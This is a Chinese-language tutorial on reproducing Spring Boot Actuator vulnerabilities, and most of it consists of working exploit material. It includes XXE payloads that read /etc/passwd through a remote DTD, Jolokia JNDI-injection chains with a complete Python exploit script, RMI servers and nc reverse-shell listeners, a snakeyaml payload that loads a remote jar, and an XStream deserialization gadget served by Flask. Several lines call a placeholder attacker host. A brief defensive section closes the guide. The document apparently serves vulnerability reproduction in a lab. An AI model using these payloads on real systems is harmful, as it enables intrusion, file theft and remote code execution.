Spring Boot漏洞复现
字数 1715 2025-08-25 22:58:55
Spring Boot 漏洞复现与利用全面指南
1. 环境搭建与端点信息
1.1 环境搭建
- 使用Maven构建Spring Boot项目
- 启动项目后,默认会暴露多个监控端点
1.2 Spring Boot Actuator端点
Spring Boot 1.x和2.x版本的端点路径有所不同:
1.x版本端点:直接注册在根URL下
2.x版本端点:移动到/actuator/路径下
| 端点路径 | 描述 |
|---|---|
| /autoconfig | 提供自动配置报告,记录哪些自动配置条件通过/未通过 |
| /beans | 描述应用程序上下文里全部的Bean及其关系 |
| /env | 获取全部环境属性 |
| /configprops | 描述配置属性(包含默认值)如何注入Bean |
| /dump | 获取线程活动的快照 |
| /health | 报告应用程序的健康指标 |
| /info | 获取应用程序的定制信息 |
| /mappings | 描述全部的URI路径及其与控制器(包含Actuator端点)的映射关系 |
| /metrics | 报告各种应用程序度量信息 |
| /shutdown | 关闭应用程序(需设置endpoints.shutdown.enabled=true) |
| /trace | 提供基本的HTTP请求跟踪信息 |
2. Jolokia漏洞利用
2.1 XXE漏洞利用
利用条件:
- 存在
jolokia/list端点 - 存在logback库提供的
reloadByURL方法
利用步骤:
-
创建恶意文件:
logback.xml:<?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE a [ <!ENTITY % remote SYSTEM "http://x.x.x.x/fileread.dtd">%remote;%int;]> <a>&trick;</a>fileread.dtd:<!ENTITY % d SYSTEM "file:///etc/passwd"> <!ENTITY % int "<!ENTITY trick SYSTEM ':%d;'>">
-
将文件上传到公网VPS并开启HTTP服务
-
发送请求触发XXE:
http://127.0.0.1:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/x.x.x.x!/logback.xml
2.2 RCE漏洞利用(通过reloadByURL方法)
利用步骤:
-
下载并修改RMI服务代码,编译打包:
mvn clean install -
修改
logback.xml内容:<configuration> <insertFromJNDI env-entry-name="rmi://x.x.x.x:1097/jndi" as="appName" /> </configuration> -
上传
RMIServer-0.1.0.jar到VPS并执行:java -Djava.rmi.server.hostname=x.x.x.x -jar RMIServer-0.1.0.jar -
设置nc监听:
nc -lvp 6666 -
触发漏洞:
http://127.0.0.1:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/xxx.xxx.xxx.xxx!/logback.xml
2.3 RCE漏洞利用(通过createJNDIRealm方法)
利用条件:
- 存在
org.apache.catalina.mbeans.MBeanFactory类提供的createJNDIRealm方法
利用步骤:
-
使用Python脚本发送请求:
import requests as req import sys from pprint import pprint url = sys.argv[1] + "/jolokia/" # 创建JNDIRealm create_JNDIrealm = { "mbean": "Tomcat:type=MBeanFactory", "type": "EXEC", "operation": "createJNDIRealm", "arguments": ["Tomcat:type=Engine"] } # 设置contextFactory set_contextFactory = { "mbean": "Tomcat:realmPath=/realm0,type=Realm", "type": "WRITE", "attribute": "contextFactory", "value": "com.sun.jndi.rmi.registry.RegistryContextFactory" } # 设置connectionURL set_connectionURL = { "mbean": "Tomcat:realmPath=/realm0,type=Realm", "type": "WRITE", "attribute": "connectionURL", "value": "rmi://x.x.x.x:1097/jndi" } # 停止Realm stop_JNDIrealm = { "mbean": "Tomcat:realmPath=/realm0,type=Realm", "type": "EXEC", "operation": "stop", "arguments": [] } # 启动Realm,触发JNDI注入 start = { "mbean": "Tomcat:realmPath=/realm0,type=Realm", "type": "EXEC", "operation": "start", "arguments": [] } expoloit = [create_JNDIrealm, set_contextFactory, set_connectionURL, stop_JNDIrealm, start] for i in expoloit: rep = req.post(url, json=i) pprint(rep.json()) -
运行RMI服务:
java -Djava.rmi.server.hostname=x.x.x.x -jar RMIServer-0.1.0.jar -
设置nc监听:
nc -lvp 6666 -
执行Python脚本:
python exp.py http://127.0.0.1:8090
3. env端点利用
3.1 敏感信息泄露
- 访问
/env端点可获取敏感环境属性 - 当Spring Cloud Libraries存在时,
/env端点允许修改Spring环境属性
3.2 修改属性实现RCE
- 修改
eureka.client.serviceUrl.defaultZone属性 - 发送
/refresh请求使修改生效 - 通过base64解码获取敏感信息
3.3 Spring Cloud env yaml利用
利用条件:
- Spring Boot <= 1.4.x 或 1.5.x (Dalston版本)
- 存在
spring.cloud.bootstrap.location属性
利用步骤:
-
下载并编译yaml-payload:
git clone https://github.com/artsploit/yaml-payload javac src/artsploit/AwesomeScriptEngineFactory.java jar -cvf yaml-payload.jar -C src/ . -
创建恶意yaml文件:
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://xxx.xxx.xxx.xxx:8000/yaml-payload.jar"] ]] ] -
修改
spring.cloud.bootstrap.location为外部yaml文件地址 -
请求
/refresh接口触发漏洞
4. XStream反序列化漏洞
利用条件:
- Eureka-Client <1.8.7 (常见于Spring Cloud Netflix)
利用步骤:
-
创建Flask服务返回恶意XML:
from flask import Flask, Response app = Flask(__name__) @app.route('/', defaults={'path': ''}) @app.route('/<path:path>', methods = ['GET', 'POST']) def catch_all(path): xml = """<linked-hash-set> <jdk.nashorn.internal.objects.NativeString> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>命令</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next>foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> </is> </dataSource> </dataHandler> </value> </jdk.nashorn.internal.objects.NativeString></linked-hash-set>""" return Response(xml, mimetype='application/xml') if __name__ == '__main__': app.run() -
启动Flask服务:
python3 flask_xstream.py -
写入配置并刷新触发漏洞
5. 防御建议
-
禁用不必要的Actuator端点:
management.endpoints.web.exposure.include=health,info -
限制Actuator端点的访问权限
-
升级Spring Boot和相关组件到最新版本
-
禁用Jolokia或限制其访问
-
避免在生产环境使用Spring Cloud的
/refresh端点 -
对输入进行严格验证和过滤
-
使用安全的配置管理方式